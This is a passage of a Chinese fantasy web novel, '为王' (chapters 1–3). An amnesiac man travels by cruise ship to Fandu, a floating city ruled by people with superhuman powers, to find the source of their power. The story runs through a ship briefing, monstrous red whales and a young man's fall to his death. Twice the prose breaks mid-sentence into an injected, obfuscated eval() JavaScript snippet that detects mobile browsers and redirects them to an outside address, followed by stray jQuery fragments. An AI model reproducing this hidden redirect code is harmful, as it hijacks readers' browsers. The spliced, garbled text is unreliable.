《为王》
1. 逐星号
黎川登船的时候,翡港的灯光秀才刚刚开始。
幽蓝的光将浓沉的夜色点亮,在天幕交织成一片栩栩如生的鲸群,一尾一尾地浮着,游着,傍着摩天大楼和霓虹灯的光,一路蜿蜒跌宕地没入深海。
码头上人潮涌动,喧嚣声中,无数只手高举着拍照设备,对着海上无限拉近镜头。
不是为了拍摄海上的灯光,而是为了看清停泊在夜色深处的一艘船。
“看到那艘白色的邮轮了吗?”
“那就是逐星号。”
众所周知,这场深海主题的灯光秀不过是“逐星号”启程前的一个小仪式,真正的主角是那艘隐没在夜色里的船。
那艘船,可以带着凡胎□□的人类穿过超自然的磁场和风暴,窥见那座悬浮于深海之上的永夜之城,繁都。
两年前,逐星文旅的项目启动,开发了【翡港】到【繁都】的海上路线,观光邮轮“逐星号”的诞生,意味着繁都于人类而言终于不再遥不可及。
那里本是人类的禁区,如今却成了上流人士趋之若鹜的天堂。
繁都远远领先于人类世界,拥有更先进的科技,医疗,康体项目,更高规格的餐饮和娱乐设施,人类幻想的极致都能在这里一一应验。
可剥开先进文明的外衣,内里涌动的却是最为野蛮的原始法则,弱肉强食,胜者为王。
在繁都,没有法律和道德的约束,只要有钱,便可以购置到自己想要的任何物品,任何服务,解锁前所未有的新体验。
人是自由的,可以选择在纸醉金迷中无限沉沦,不用被任何事物束缚干扰。
逐星号每隔半年启动一次,一百个名额,两百万一张的船票,不包吃也不包住。
可即便如此,船票一经开售,还是在两秒钟内就被一抢而空。
黎川是这批船客里最后一个上船的。
斑斓的灯光晃过净白的一张脸,将他瞳孔深处的淡漠衬得愈加清晰。他的长相并不惊艳,但举手投足间无意流露出的气质,让他注定在人群中与众不同。
立在喧嚣的人群中,静静的,像一截清凌凌的冰,被暖色的光笼罩着,却依旧泛着冷。
黎川没有像其他人那样急不可待地参观拍照,而是兀自走到甲板的栏杆前,他避开熙攘聒噪的人群,默默点了支烟。
一缕烟雾绕着指尖升起,模糊了那双清隽鲜明的眉眼,船上的音响里,正在播放繁都的传说故事。
“百年前,一颗不明行星撞击地球海域,巨浪吞没航船,幸存者却奇异般的拥有了异能。他们团结互助,勤劳勇敢,在逆境中不断发掘异能,共同建造出了一方悬浮于深海之上的生存之地…”
黎川侧过脸,巨幕上的宣传片画面磅礴,盘旋的公路循着波涛的轨迹蜿蜒起伏,车辆疾速驶过,像流星般划过夜幕下的海。
公路上是嘶吼咆哮的引擎声,公路下是低沉悠远的鲸鸣,在狂风和巨浪中与鲸同行,那一种惊心动魄的视觉震撼。
黎川静静地观望,心跳却不知怎的乱了节拍,画面里的景象,在他灵魂深处勾起了一丝诡异的熟悉感。
这座名为繁都的海上都市,似乎与他丢失的记忆有关。
两年前,他从昏迷中睁开眼睛,浑身冷如冰霜,僵硬得动弹不得,全然忘记自己是谁,不清楚年龄,也忘却了过往。
是一个叫黎宇植的中年男人救下了他,把他当成亲弟弟一样照料,并带着他加入了反抗异能者的人类组织—RB。
黎川也是加入RB后,才了解到了异能者的恶行。
异能者恃强凌弱,为了极致享乐、建造趋近完美的繁华都市,强掳各行各业的匠人前往繁都,并蛮横地消除他们全部的记忆,让他们像人偶一样为繁都服务。
厨师、画家、歌手、设计师、科学院士、医生、舞者…
每天都有不同的人消失,像人间蒸发一样无迹可寻,而这些人的家属和朋友也会忘记有这个人的存在。
黎宇植说,黎川曾经就是繁都的“人偶”。
而且,他似乎更悲惨一些,他是一个被抛弃的人偶。
遍体鳞伤后再度回到人间,放眼辽阔天地,却再没有一个记得他的人。
黎宇植告诉黎川,异能者的能量并非与生俱来,那些能量的源头是一个叫做“异能星核”的东西。
只有找到异能星核,摧毁它,笼罩繁都的能量场才会消失,异能者将会和人类无异,再也无法剥夺人类生存的尊严,而他丢失的记忆,也将恢复如初。
黎川此行的目的,正是为了寻找星核,但他隐隐地感知到,似乎有什么别的东西正在暗中无声地发酵…
逐星号驶离翡港,融入黑沉静寂的夜色之中,喧嚣褪去,耳边只剩下海浪拍打在船体上的声音。
烟草味在鼻腔里弥漫开,混杂着海风淡淡的湿咸。
黎川的心头忽然涌动起一阵莫名的不安,他深吸一口气,将烟头碾灭在身旁垃圾桶上的烟缸里。
烟缸是水晶制成的,不规则的切棱设计让它看起来像一块冰,烟灰缸的底部,是由塔菲石和红钻拼凑而成的玫瑰花。
黎川的目光在上面凝了一瞬,只觉得繁都人暴殄天物,上千万的宝石,居然被他们用来盛装烟头?
不过转念一想,在宝石被人类赋予价值之前,它们也许只是一种稀缺一些、漂亮一些的石头。被做成任何东西,好像都没有什么值得惋惜的。
邮轮行驶没超过十分钟,船上的工作人员便用广播通知大家到一楼的公共大堂集合,领取他们进入繁都的身份卡。
黎川一进去,便听见人群中传来一个女人尖锐的声音,“这就是你们所谓的身份卡?我们花了几百万出来玩,你让我戴这么个丑东西在脖子上吗!?”
那女人妆容精致,穿着一身性感的修身吊带裙,外面披着一件银灰色的皮草外套,半露香肩。她娇嗔地推开面前正哄着她的男人,置气一般的把什么东西甩在地上,“我不戴!我不戴嘛!”
黎川垂下眼,看见地上躺着一个发光的红色项圈。
那男人急忙安抚,宠溺着搂了女人一把,“好好好,宝贝儿,咱们不戴,我去跟他们说。”
男人一副不差钱的架势,他翻出自己的黑卡,找到一旁分发项圈的工作人员,“我们加钱,能不能给我们换个手持的,或者不戴行不行?”
工作人员皱了下眉,礼貌地推开了他递过来的卡,公事公办的态度道: “先生,进入繁都必须佩戴,这是规定。”
“不戴这个玩意儿就进不去了吗?”
“是的。”工作人员耿直道。
男人被折了面子,刚要发火,却被室内忽然涌入的一股冷空气震慑住,怔怔地回过了头。
一个戴着金丝链条眼镜、身着灰西装的男人走了进来,看着四十出头,衣料质感上乘,在灯光下泛着流动的光泽。
男人步伐缓慢沉稳,一身气场压得满室霎时间安静下来。
他走上台,没有麦克风,但磁性的声音清晰异常,带着很强的穿透力。
“大家静一静。”
他说: “我是陈舵,是逐星文旅的总负责人。”
陈舵,异能者,新闻上有记载,他是逐星文旅的创始人,是他开发出了这条海上路线,也是他创造了这艘名为“逐星号”的邮轮。
“我知道大家对于这一次的新规定有许多不满,所以我在这里郑重地给诸位一个解释。”
他随手从桌上拿起一个红环,徐徐道: “这个项圈,不只是你们的通行证、身份卡,更是诸位的保命符。”
他笑盈盈的,眼尾的皱纹弯起来,说的话却令人感受不到一丝温度,“繁都没有秩序,只有阶级,人类嘛,就是最底层的生物,如果你们不想被无尽的黑暗吞噬掉,就戴好这个红色项圈。”
此前就有多名旅客在繁都境内失踪,为了保障大家的人身安全,我们才定制了这个醒目的项圈。红色项圈者是受【文爵商会】保护的,会让那些心怀不轨的异能者退避,帮助你们远离危险。”
直白的话语下,是弱肉强食的狰狞的法则,大家都听懂了。
在繁都,天是黑的,人心也未必清白。
霸凌无处不在,只要足够强,便能胜过所有的道理,藐视所有规则,然后顺理成章的把那些弱小的生命视作草芥、碾作尘土。
陈舵的一番话说完,大家再无异议,乖乖戴上了项圈。
在场的大多都是上流圈层的人士,一身华服珠宝,配上这条项圈,显出屈辱又违和。
戴上后,项圈便会自动收缩,直到严丝合缝地贴在皮肤上,箍得呼吸都不顺畅。
台上,陈舵继续道:“我要说的第二件事,比第一件事更加重要,在繁都,即便戴着红色项圈,也不要招惹脖子上星星图样的人。”
他说这解开衬衫领口,露出一颗血红的星纹,“这是繁星会的标志,星星越多,职位越高,在繁都,繁星会凌驾于一切之上。”
“见到三颗星以上的人,能远离就远离。”
台下气氛骤然凝滞。
陈舵环视过众人,眼眸微微眯起,似乎对大家这副忌惮的神色感到满意。他清了清嗓,转而又安抚道:“不过大家也不必过于紧张,三颗星的异能者很难遇到,而且就算遇到了,不主动招惹就好。”
他看了眼腕表,微笑着抬起头,“逐星号会在一小时后抵达繁都,在这之前,我给大家准备了丰盛的邮轮晚宴,请各位移步三楼。”
“祝大家旅途愉快。”
他的言行举止都很端庄,笑着的模样很亲善祥和,可黎川盯着他的脸瞧了一会儿,只觉得他那弯着的眼睛很深很暗,笑意浮在表面,并未有半分触及眼底。
就在黎川将视线移开之时,陈舵的眼神望过来,两个人的目光短短地对视一秒。
不知道是不是错觉,黎川看见陈舵的瞳孔转瞬即逝的收缩了一下,待他想窥探清楚其中的情绪时,后者已经波澜不惊地从他身上移开了目光,慢悠悠的下了台。
“陈先生,陈先生等一等!”
一个头发花白的女人拦住了陈舵的路,她满眼血丝乎,悲戚的眼角下垂,慌乱地从怀里掏出一张照片,“这是我女儿,他叫林小微,在繁都的星海岸打工,我找不到她了…您帮帮我吧!”
陈舵望着她,微笑道:“你说。”
女人像是抓到了救命稻草,再抑制不住哭腔,哽咽着,“小微到繁都的第一天还给我打电话,可第二天开始就失联了,她…她已经半年没有音信了。”
“我们倾家荡产才凑齐了一张船票的钱,我可以没有房子住,可以慢慢打工还债,但我不能没有女儿啊,求求你帮帮我…”
女人卑躬屈膝,几乎是要跪下哀求,“新闻报道上说您是爵文商会的,是跟着大老板做事的人,您一定有办法帮我找到女儿对不对…”
“您先起来。”陈舵的体恤地扶住她,“林小微是吧,好,我记下了,一有消息我就通知你。”
女人眼含热泪地点着头,“对,林小微,18岁,微笑的微…”
说话间,陈舵已经经过她往外走了,明眼人都看得出他是在敷衍了事,他甚至都没有问女人的联系方式。只有那女人感激涕零,一边道谢一边笨拙地倒着碎步跟上他,追在身后补充,“我家小微是一头黑色披肩发,特别苗条,个子高高的…”
“大眼睛…”
“左眼角有一颗痣…”
…
声音一点点飘远,现场再次陷入安静,大家都在低声交流,隔了许久久才有人大声讲话。
“哈,这年头还有贷款上船找人的,真稀奇。”说话的是一个蓝色鸭舌帽,嘴里嘎吱嘎吱地嚼着口香糖,一副二代的纨绔相。
“你们说,她女儿会不会是得罪了繁星会,所以才失联了?”有人接茬。
“狗屁星星会,听着像个邪教组织似的,让我们注意这儿注意那儿的,也不看看他们是在赚谁的钱?”蓝帽男说完,似乎是被自己帅到了,低头整理了一下袖扣,得意地露出腕间的劳士力手表。
“不是星星会,是繁星会。”不远处忽然传来一道认真青涩的声音。
黎川微微偏过头,看见自己的斜后方的沙发上靠着一个寸头少年,看着也就十六七岁,高中生的模样。
少年穿着一件版型挺括的黑色冲锋衣,双手插兜,将下巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988891|193670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
低埋在衣领里,带着一种不符合年龄的利落,在一众穿金戴银游客的衬托下,显得格外的干净清爽。
“如果下了船,就不要把繁星会的挂在嘴边了。”他看着刚才口嗨的蓝帽男子,缓慢地嚼着口香糖,哂笑道:“繁都开设旅游线路不是为了创收,不要花了两百万就把自己当金主爸爸,到时候连自己是怎么死的都不知道。”
小蓝帽冷哼一声,不屑一顾,“别跟我在这瞎嚷嚷,刚刚那个宣讲,也就吓唬吓唬你这种没见过世面的小孩,老子管他是一颗星还是两颗星。”
少年并未理会,他面无表情地从蓝帽男子身上移开了视线,背起自己的双肩包从容地往楼梯处走。
黎川坐在一边,抬眼看着那少年的背影,看着他走到休息区,娴熟地操作着机器,倒了一杯冰水,一个人坐下。
失去记忆后,黎川的情感就变得非常匮乏,他很难生气,很难开心,也很难对一件事情产生兴趣,也包括交朋友这件事。
但此刻他还是佯装出几分兴趣,仿佛不经意地经过少年,脚步缓下来,“一个人?”
少年抬起眼,打量了一下黎川,黑漆漆的眼眸里没什么情绪,从鼻腔里哼出一声,“嗯。”
“他们都去三楼就餐了,这里清静。”黎川很是自然地在他对面的位置坐下,抬了下眉,“你怎么不去吃?”
少年望着他,不答反问,“你怎么不去?”
“我晕船,没胃口。”黎川答。
这倒是没说谎。
他的身体素质一向很好,但是只要一靠近大海,不适的症状就会接连发生。
胃里已经翻涌过一遍又一遍,他抑制着想吐的感觉,饶有兴致地望着那男孩的眼睛,伸出只手去,“我叫黎川。”
这双眼睛深邃幽沉,似乎有种难以言说的魔力,少年看了他两秒,忽然起身。
黎川没动,只见他再次走向饮水机,接了杯热水回来,放在了两人之间的圆桌上。
“你脸色不太好,喝点水吧。”
黎川接过来,但没有立刻喝,他双手捧着水杯,用杯壁暖着湿冷的掌心,淡色的唇微动,“谢谢。”
“不客气。”少年眨了眨眼,“如果我没猜错,你去繁都是为了找人吧?”
他目不转睛地盯着黎川,小小年纪就已然懂得了窥探人心,“被我猜中了?”
黎川弯了弯唇角,从包里掏出一台专业的相机,“猜错了,我是摄影博主,是去拍摄的。”
他说着找出一些拍摄的风景作品,一张一张拿给少年看。
少年不感兴趣,草草地瞥了两眼,“好吧。”
他猜错了也不恼,反倒来了兴致,“那你猜猜我去繁都做什么吧。”
“我猜,你去探望亲人。”黎川说。
少年诧异地挑了下眉,“你怎么猜的?”
很准。
黎川看着他,“你这么小,没有家长陪同,却能负担得起高昂的船票,还对繁都的事情很了解,所以我猜你的家人就在繁都。”
少年显然对这个解释不认可,“就这?”
黎川点头,“嗯,我也是瞎猜的。”
少年名叫祁睿,哥哥祁月半年进入繁都,在最大的娱乐会所【星海岸】打工,只用了不到半年的时间,不仅成了繁星会组织里唯一入会的人类,还被破格晋升为三星。
这些都是上船之前,黎川就通过RB情报库掌握的消息。
“猜对了,我的确是去看家人,看我哥。”少年说,“他在星海岸打工,星海岸你应该知道的,是繁都最大的娱乐会所。”
黎川“嗯”了一声,露出几分担忧,“刚刚我听见那个阿姨在找女儿,说她的女儿就是在星海岸打工失踪的,你哥哥在那里的工作,环境怎么样,会不会很危险?”
这是一句没有什么攻击性的关心,少年盯了黎川许久,久到黎川以为他不会再回答了。
“环境,呵…”
少年冷冷地笑出一声,脸色沉下来,“对有些人来说,是天堂,对更多人来说,不过是一个牢笼。”
“牢笼?”
“我哥哥是人类,却进入了繁星会,获得了三星职衔,你知道这意味着什么吗?”
黎川呼吸平稳,迎上少年的目光,眼底清澈而无知。
他从RB的情报库里看过,繁星会有一个铁打的规矩,那就是无论什么情况,人类都不具备入会资格。
能入会,并且能做到三星职位,那他的哥哥一定是个难得一遇的传奇人物。
黎川顺着他的话锋,语气里带了一丝恰到好处的好奇, “那你的哥哥,必定是有什么过人的本事了?”
“我哥他,其实没什么本事,不过是生了一张好看的脸,半年前星海岸面向外界招工,招二十岁以下模样周正的年轻人,把我哥选中了。”
“招聘广告上写的光鲜,说是高薪去繁都做酒水销售,还有希望获得永居,把家人也接过去,可谁不清楚,去了就是做伺候人的活,陪繁都上流圈层那些异能者喝酒,供他们玩乐。”
少年说着顿了顿,目光移向窗外远处的黑夜,喉结艰难地动了动,“可外人不知道的是,那些异能者骨子里嫌人类脏,大多都有病态的洁癖,被玩完的人类,都被处理了。”
“处理?”黎川一时间不理解这两个字的含义。
少年叹了口气,垂下眸,说道: “刚刚那个阿姨的女儿,多半是就是被处理掉了,被扔到海里喂鱼,要么就是被活剖了肝脏,加工成兽粮,去喂养异能者家养的猛兽。”
见黎川一时无言,少年抬手在他眼前晃了晃,“怎么?吓到了?没事的,我们戴着红环,还算安全。”
黎川适时地从那片震惊中回过神,追问道: “那你哥哥,他呢,是怎么成为三星的?”
“陪酒。”
少年的手肘支在桌子上,身子往前倾,凑到离黎川很近的位置,才压低声音说道:“不过不是陪普通人喝酒,是陪繁星会的会长喝酒。”
“我哥有幸见过会长一面,只一面,会长买了他一瓶酒,他说,我哥长得像他的一位故人。”
“会长喜欢画画,我哥成了他的模特。”
2. 会长
谈话间,逐星号已缓缓靠岸。
透过窗,那座传说中悬浮于深海的繁华都市,终于赫然撞入眼帘,目之所及,都是近乎癫狂的奢靡和璀璨。
百米的摩天大楼拔海而起,通身流淌着幻彩的灯光,全息影像复刻着海底的鱼群,在建筑间缓慢地游弋。
这里没有白昼,却比白昼更加耀眼喧嚣,像是把全世界的欲望与光华都浓缩于此,才成就了这一场永不落幕的狂欢。
呜—
汽笛声响起,紧随其后的,是从海底深处涌起的,一阵更为浑厚和低沉的声音。
呜——
与此同时,原本泛着人工荧光的深蓝海面,骤然间变成了一片不详的暗红。
黎川跟着众人来到甲板,游轮正在剧烈晃动,惊呼的人群中,他看见陈舵正双手扶着栏杆,脸上满是困惑,目光疑惑地扫视四周,看上去同样不知道发生了什么。
海水泛着赤红色的光,庞然大物在船底游过,它们并没有触碰到船底,可游动时带动的暗流和摩擦,却几乎要掀翻这条船。
大片的暗红色阴影,在船的周围漂浮起来。
第一头破开海面时,巨浪激起了二十几米高,那是一条鲸,却绝不是人间应有的鲸。
身长近百米,通体暗红,和在海洋馆里见过的温驯鲸类不同,它的体表满是粗糙的裂纹,缝隙间流淌着岩浆般的火光,不像是深海中的鱼,更像是从火山熔岩下冲出来的怪物,脊背是一排狰狞锋利的尖刺,在夜色下闪烁着寒光。
最为骇人的是它的头部,两侧竟然分布着四双眼睛,凶光毕露地对着这一船的人群。
这场面太过于惊悚,游客们尖叫出声,甚至有人被吓得当场昏厥。
“是赤渊鲸…”陈舵面如死灰,声音干涩,“它们…怎么会出现在这里…”
赤渊,黎川知道这个名字。
RB资料库里记载,繁都有一处名为仙玉岛的禁区,下方的海域名为天刃海,拥有异常的能量磁场,并探测出水下含有大量的高阶能量体。
而赤渊鲸,正是那片死亡海域里的霸主级掠食者。成年体长上百米,攻击性极强,咬合力惊人,甚至咬碎过异能者驾驶的大型潜艇。
但是这种生物习性孤僻,喜欢独居深海,极少上浮,更不会离开天刃海的范围。
可此时此刻,不止一头。
第二头,第三头,五头,十头,二十头!
赤红色带刺的脊背接连破开海面,将逐星号团团围住。
它们静静地沉浮,却没有发起攻击,可这种死寂的包围却更让人感到窒息。
鲸鸣声和游轮的汽笛声交织成一片,震耳欲聋,船上的警报响起,“栈桥已完成连接!所有乘客立即下船!”
船体仍然在剧烈颠簸,人群尖叫着推搡着涌向出口,黎川被人流裹挟着移动,却忍不住频频回头。
鲸群中最大的一头赤渊缓缓地抬起了头颅,它那八只燃烧的眼睛,竟是有灵性般地穿过了人群,笔直而精准地望向了黎川。
对视仅仅一瞬。
它将头颅沉入血红色的海水,掀起的巨浪还未落下,其余所有的赤渊鲸同时下潜,再次浮出海面时已在百米之外。
它们开始有节奏地盘巡在繁都之下的海域里。
黎川的太阳穴突突直跳,一阵尖锐的疼痛钻进脑袋里,某些破碎的画面极速而过。
鲜血,尸海,鲸群围绕着哀鸣。
他甩了甩头,让自己清醒过来,跟着人群冲向了栈桥。
踏上码头地面的瞬间,黎川回过头。
海面上,赤渊鲸已经停止了巡游,它们静静地悬浮在海面之上,那些燃烧的眼睛缓缓黯淡下去,然后缓缓下沉。
红光消失,海面再度恢复平静。
…
…
星海岸,贵宾包厢。
巨大的水晶灯吊在穹顶,灯光流经墙壁上繁复奢华的金色雕花,沦陷在壁画深邃的色彩里,每一道光影间都流淌着纸醉金迷的馥郁。
大理石茶几上摆着名贵的酒,旁边是一个五层的时令水果拼盘,水果已然氧化泛黄,却依旧无人问津。
十余名身穿黑色制服的保镖在房间内站成两排,他们身高均在一米九以上,单耳挂着银色的通讯设备,腰间佩戴清一色的皮质枪套,里面装着繁都最新研制出的光弹手枪。
就是这样的排场之下,一个画架很突兀地立在了房间中央。
解寒声坐在画架前,看着不远处的模特,缓慢地眨了眨眼睛,然后揣摩着落下一点笔触。
但随即便摇了摇头,很惋惜地擦了下去。
如果外人看到这一幕,一定会觉得他是一位颇有艺术审美、对作品要求严苛的画家。
但实际情况是,解寒声的画技糟糕得令人发指,和他专注的神色形成了极大的反差,他画的人不像人,鬼不像鬼,没有半分美感可言,是任谁看了都会笑到发狂的程度。
但在场的没人敢笑,碍于他的身份,甚至没有人敢将目光落在那张画纸之上。
周围的保镖神色冷峻地望向正前方,目光不敢有半分偏移。
灯光聚焦下的模特身上未着寸缕,僵硬地保持着一个持枪的姿势,黑洞洞的枪口笔直地对着解寒声的心脏。
模特的手腕早已经酸痛到极致,但仍然噤若寒蝉,除了上下滚动的喉结,身上的每一寸神经都紧绷着不敢乱动。
房间的气氛凝固着,安静得仿佛时间都趋于静止一般,只能偶尔听见铅笔落在纸面上,发出沙沙的声响。
那模特的手机铃声就是这时候不合时宜地响了起来。手机在裤兜里,裤子在解寒声身后的沙发上。
解寒声无动于衷地低头画画,时不时地抬头观察模特一眼。模特哪里敢打断他,一颗心悬着,冷汗顺着额角流下来,在他脸侧泛起一道又一道发亮的水痕。
旁边的手机响个不停,第三次响起来的时候,解寒声终于停了下来,眼底也跟着冷了几分。
“接吧。”
他声音冷淡,没有什么多余的情绪,说着往椅背靠了靠,握着画笔的手垂下来。
那手指修长漂亮,骨节分明,手腕的皮肤细腻白皙,像是上了釉的白瓷,挑不出半点儿瑕疵,无意识间透出几分不染尘埃的矜贵。
身旁服侍的仆从连忙上前,毕恭毕敬地弯下身,双手将他的画笔接过来,再将画架移开,露出一片开阔的视野。另一个相貌较好的男子半跪下身,仔细地为他擦拭手指上的铅痕。
那模特没有立刻去接电话,而是先来到解寒声面前,扑通一声跪下来,“对不起,会长,我,我忘记静音了。”
他看上去二十岁左右,眼眸氤氲着一层水汽,浑身都在惊恐地战栗,“我弟弟今天来看我,应该,应该是他…”
解寒声看他一眼,盯着他眼底的恐惧和这副懦弱卑微的姿态,只觉得心里涌起一阵无名的火。
“祁月。”
解寒声低下头,伸手捏住他的下巴,虎口精准地卡在他的下颌,就这样粗暴地打断了他的话,“我们认识半年了,从一开始我就告诉过你,不要用这种忌惮的眼神看着我,你可以在我面前趾高气昂。”
“趾高气昂,你学不会吗?”解寒声问。
他看着眼前的人,眼底生出厌恶,明明有着相似的轮廓,为什么偏就装着截然不同的灵魂。
那个消失了七年,从解寒声18岁到25岁,每一夜都出现在他噩梦中的人,一次次将黑洞洞的枪口顶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988892|193670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在他的左胸,一遍遍扣动扳机,冷笑着看子弹穿膛而过的人,不该是这副窝囊样子。
那个人的脸已经逐渐在他记忆里消匿了轮廓,只剩下梦境中虚幻的剪影,随着时间流逝越来越不真切。
解寒声对那个人的记忆,就像他的画作一样抽象,是由无数个碎片和意识流的感知拼凑而成的。
是那个人陪伴他长大,但偏偏脾气差的要命,说好了要教他画画,却没有半点耐心地把他从画室驱赶出去,还不忘冷言冷语,“别画了,你没天赋,别浪费了我的纸。”
是那个人为了保护他,即便满脸血污,被人踩在脚底下也绝不低头,高傲得像是山巅上的冷雪,也像是开在悬崖上宁折不弯的花。
但就是同一个人,给了他最多的陪伴,最深刻的回忆,却以致命的一枪毫无预兆地终结了他们之间所有的关系。
罪人跌落万丈深海,至今下落不明,而幸存者却跃居上位者高台,转瞬七年,解寒声仍旧无法释怀。
微微歪下头,解寒声示意他去接电话。
模特见状连忙又鞠了几躬,“谢谢会长,谢谢会长理解!”
外面,传来汽笛声,解寒声猛然一滞。
他听见了熟悉的鲸鸣。
包厢的整面墙都是透明的深海观景窗,全息投影实时映照着海底斑斓的鱼群,而此刻,鱼群却像是受到了巨大的惊扰,骤然间四散开去。
取而代之的,是一抹庞大到令人屏息的暗红色阴影,缓慢威严地游过他的视线,一头一头占据了星海岸的上空。
赤渊鲸。
解寒声的身子僵了一下,搭在画架边沿的手指几不可察地蜷了蜷,身体似乎在一瞬之间被抽空了,呈现出一种冰冷的僵硬感。
他的目光死死地盯着外面泛红的天,瞳孔颤了颤,半晌后,才极其迟缓地将目光移回面前的画纸上。
画纸上,那个被他反复涂抹,早已不成形的“枪口”黑漆漆的。铅笔的痕迹一道覆过一道,混乱又失控的笔触层层叠加,甚至戳破了画纸。
留下那道狰狞肮脏的孔洞,如同一道真实腐烂的疮疤。
他的呼吸变了。
先是陷入停滞,喘不过气,然后慢慢地加深,加重。
每一次呼吸,都会牵扯着胸腔发出细微的嘶鸣。
他不动声色地忍了一会儿,然而下一秒,一阵剧痛突然毫无预兆地袭上了他的心口。
“呃…”
压抑的痛吟从齿缝中溢出,那疼痛尖锐难忍,从他心窝最柔软的地方一捅而入,狠狠地在血肉神经中搅动一下!
解寒声的身体触电般痉挛,优雅挺直的脊背猛地弓下去,他抬起手,青白的指骨凸起,死死地按住心脏。
“会长!”
“会长!!!”
站在两侧的仆从吓得脸色煞白,慌忙上前,一人扶住他的肩膀,另一个人手忙脚乱地从制度口袋里掏出一个密封的药瓶。
解寒声却猛一挥手,将药推开。
他急促地喘息着,额头和颈侧瞬间迸出大片的冷汗,将他额前的黑发打湿,顺着冰白无色的一张脸往下淌。
极致的疼痛之中的,他的眼尾泛红,呼吸破碎,唇角却开始缓慢而艰难地向上牵扯,一点一点地,向上弯起来。
那笑容并非愉悦,而是一种疯魔和病态扭曲,越来越深,让他整张脸散发出一种惊心动魄,却又近乎糜烂的美感。
“哈…”
他张了张嘴唇,试图发声,却先溢出一口带着颤音的气息。
心脏里,有锐利的东西在疯狂撞击,每一次跳动都带来一阵更加强烈的剧痛,可他的声音却从这片痛苦中挣扎出来,带着一丝颤栗的快意。
“终于出现了。”
3. 对视
星海岸是观光团的第一站。
黎川和船上认识的男孩并着排,走在观光团的后面,抬眼打量起面前这座都市。
这座完全悬浮于深海之上的城,没有地基,也不依托于任何支撑,完完全全地摆脱了地心引力,被一片幽蓝色的神光托举着。
繁都是没有太阳的,所有的光线都来自于城市上空笼罩的人造光幕穹顶,有时是星图,有时是极光,有时候只是一片均匀的,没有任何情绪的冷白色。
他们脚下的这条街,名为星街。
这里没有白昼和夜晚的区别,甚至没有时间的概念,光线不是从上方来,而是从四面八方奔涌而出,饱满得快要溢出来,恨不得把人的影子都全然吞没。
街两侧的建筑都蛮横地亮着,摩天大楼形状奇异,一栋栋,像是从深海里直接生长出来的水晶簇。
脚下踩着的不是石头和土壤,是一种能自主发光的暗灰色板材,上面流淌着星河的纹路,慢吞吞地变幻着。
踩上去,落脚的地方会漾开一圈柔和的光晕涟漪,那图案竟然还可以花钱定制。
黎川看了眼价格,30繁星币,也就是…3000元。
这跟抢钱有什么区别。
黎川摇摇头,看着船上的富豪带着女朋友前去挑选脚印炫光,把目光转向身旁的少年。
男孩名叫祁睿,他们刚在船上交换了姓名,顺理成章地成为了同行的旅友。
“我刚刚给我哥打过电话了,他说逐星之旅的第一站就是星海岸,让我们先在一楼的游客区玩,等他忙完了就来找我们。”祁睿对黎川道。
提及哥哥,祁睿的含着笑意,看得出两兄弟的感情很好。
黎川扬了扬唇角,眼底显露出柔和,恍惚之间,他觉得自己好像也曾有过一个弟弟。
他们跟着观光团走到星海岸正门,却见大门封闭着,一排持枪的安保沉默地把守在那里。
路旁停着几辆黑沉的车子,款式是外界从未见过的,线条流畅锋利,看上去更高级也更加别致,前排的游客纷纷掏出手机拍照。
车牌上没有数字,只有一排星星徽记,冷冰冰地泛着光。
祁睿往前看了一眼,对黎川说:“是繁星会的车,看样子是被包场了。”
黎川撇过头,“你来过?怎么这么了解?”
“没来过,不过我哥会每天给我发信息,跟我分享这里的事,听的多了,也就熟了。”
谈话间,观光团的导游挥着手里的小旗,“各位!收到特殊情况影响,我们的第一站由星海岸更改为【夜鹿港】,请大家听我指挥往后退。”
人群中,抱怨的声音嗡嗡地响起来。
“你们这是什么服务态度!”
“是星海岸不能参观的意思吗?”
“我们来这一趟,就是为了来星海岸的□□!”
“你们就是这么对待游客的吗?”
…
上一秒众人还在抗议,下一秒所有的声音都戛然而止。
砰。
一声闷响。
一团模糊的黑影从高空加速坠落,结结实实地砸在所有人的面前。
是一个□□的男人,皮肤很白,肢体摔得已然变形,深红的鲜血很快从身下漫出来。
在他苍白细弱的脖颈上,印着三颗血红色的星星。
黎川呼吸一窒,目光凝了片刻,忽然听见身边传来一声尖利的叫声。
“哥!!!”
他看见祁睿扑过去,整个背影都在剧烈颤抖,慌慌张张地脱下自己的外套,去掩盖住尸体不体面的下身。
坠楼者当场死亡,一双眼睛还未闭上,连瞳孔里的绝望和恐惧保留得一清二楚。
黎川在恸哭和唏嘘声中抬起头,看见星海岸顶楼的房间,一截的白色纱帘被风吹得高高荡起,又无力垂下。
像是懦弱的灵魂被捆绑住手脚,即便宣泄,也只能落得一片寂然无声。
安保们围了过来,看清死者的容貌后只是惊讶了一瞬,随即便恢复了一贯的冷漠。
为首的安保队长拨了拨耳麦,言简意赅地差使手下人,“半分钟,清理掉。”
他大步走到观光团的导游面前,满脸的不耐烦,语气冲得很,眼底掠过一丝焦躁,“立刻带你的人走!马上!”
导游是个低阶异能者,但天生不是吃瘪受气的性子,即便对方身上散发的异能磁场等级远远在他之上,他还是梗着脖子顶了回去,“洛队,你看不到我在疏散吗?我已经更换观光路线了,我正在跟他们沟通呢,是你们星海岸又在闹事情,你们吓到我的游客了!”
他说着指了一下地上裸露着大半身子的尸体,“怎么玩不好,偏偏要玩完了从楼上扔下来,这又是哪个变态…”
啪。
一记耳光打断了他。
